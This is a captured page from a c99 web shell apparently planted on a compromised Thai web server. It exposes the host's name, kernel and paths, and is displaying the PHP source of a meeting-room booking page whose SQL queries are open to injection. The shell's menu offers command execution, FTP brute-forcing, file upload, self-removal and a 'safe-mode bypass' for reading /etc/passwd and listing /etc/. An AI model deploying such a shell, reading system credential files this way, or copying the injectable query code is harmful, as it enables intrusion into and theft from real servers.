!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Roomcalendar.php (6.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
    
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
        
/**  Configuration  */
        
require_once( "./configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"./include/Function.php" );
        require_once( 
"./include/FunctionDB.php" );
        require_once( 
"./calendar/check.php" );
          require_once( 
"./calendar/cal_func.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "room_rent";        
                
        
/**  Table  -->  tech_plan_tb  */
        //$query1 = " SELECT *  FROM $myTable2  LEFT JOIN room_tb ON room_rent.Room_code=room_tb.Room_code  WHERE   $now_stamp BETWEEN Date_start= '$now_stamp'  ";
        
$query1 " SELECT *  FROM room_rent  LEFT JOIN room_tb ON room_rent.Room_code=room_tb.Room_code    WHERE   '$now_stamp'   BETWEEN  Date_start  and  Date_finish ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
        
$numrows $dbObj->_numrows;
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลแผนการสอน - แก้ไขข้อมูลแผนการสอน</title>
</head>

<table width="547" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="547" align="center" valign="top" style="padding:10px 0px 5px 10px; font-weight: bold;"><fieldset>
      <table width="514" height="261"  border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#0000FF">
     
          <tr>
            <td width="496" height="32" align="left" bgcolor="#FFFFFF">ปฏิทินการจองห้องประชุม&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;วันที่ <? echo dateThai($now_stamp); ?>
            </td>
          </tr>
          <tr>
            <td height="229" align="center"><?php do {  ?>
              <table width="102%"  border="0" align="center" cellpadding="1" cellspacing="2">
                <tr bgcolor="#CCCCCC">
                  <td height="18" align="left" bgcolor="#FFFFFF"></a><?php echo  $rs1['RoomNo'];?></td>
                </tr>
                <tr bgcolor="#CCCCCC">
                  <td height="18" align="left" bgcolor="#FFFFFF">ห้องประชุม <?php echo $rs1['Room_code']." ".$rs1['Room_type']." : "$rs1['Room_name'];?></td>
                </tr>
                <tr>
                  <td>ในวันที่&nbsp;
                    <input name="Date_start2" type="text" id="Date_start2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value=" <?php 
       $sday 
$rs1[Date_start];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>" />
&nbsp;&nbsp;&nbsp;ถึงวันที่&nbsp;
<input name="Date_finish2" type="text" id="Date_finish2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="15"  value=" <?php 
       $sday 
$rs1[Date_finish];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>" />
เวลา
<input name="Personly2" type="text" id="Personly4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs1['Time_start'];?> - <?=$rs1['Time_finish'];?>" size="15"   onkeypress="checkNumeric()"   />
</font></td>
                </tr>
                <tr>
                  <td>เพื่อ</a>
                    <input name="MakePer2" type="text" id="MakePer2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="70" value="<? echo $rs1["Topic"]; ?>"/></td>
                </tr>
                <tr>
                  <td>จำนวนผู้เข้าประชุม
                    <input name="Make" type="text" id="Make" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="3" value="<? echo $rs1["Make"]; ?>" />
คน</a></font></td>
                </tr>
                <tr>
                  <td>หมายเหตุ
                    <input name="Detail2" type="text" id="Detail2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rs1["Detail"]; ?>" size="65" />
                  </font></td>
                </tr>
                <tr>
                  <td><span class="style4">ผู้ขอใช้:</span>
                    <?php
               
               $query 
" SELECT * ,prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId  WHERE  Teacher_code='$rs1[Teacher_code]' ";
                 
$result $dbObj->execQuery($query);
               
$rss $dbObj->fetchArray($result); ?>
                  <? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></td>
                </tr>
                <tr>
                  <td align="center"><input name="Status2" type="checkbox" id="Status2" value="อนุมัติ" <?php if($rs1["Status"] == "อนุมัติ" ) echo 'checked'?> disabled="disabled" />
                    อนุมัติ  &nbsp; &nbsp;
                    <input name="Status2" type="checkbox" id="Status2" value="ไม่อนุมัติ"  <?php if($rs1["Status"] == "ไม่อนุมัติ" ) echo 'checked'?> disabled="disabled" />
                    ไม่อนุมัติ
                    <input name="Status2" type="checkbox" id="Status2" value="รออนุมัติ"  <?php if($rs1["Status"] == "รออนุมัติ" ) echo 'checked'?> disabled="disabled" />
                    รออนุมัติ</td>
                </tr>
                <tr>
                  <td><font color="#003366" size="2" face="Tahoma"></td>
                  </tr>
                <tr>
                  <td></td>
                </tr>
                <tr>
                  <td><hr /></td>
                  </tr>
                <tr>
                  <td>&nbsp;</td>
                </tr>
              </table>
              <?php } while ($rs1 $dbObj->fetchArray($result1)); ?>
              จำนวน <?php echo $numrows ?> รายการ</a></td>
          </tr>
        
      </table>
    </fieldset></td>
  </tr>
</table>
<p>
  <?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>
</p>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0138 ]--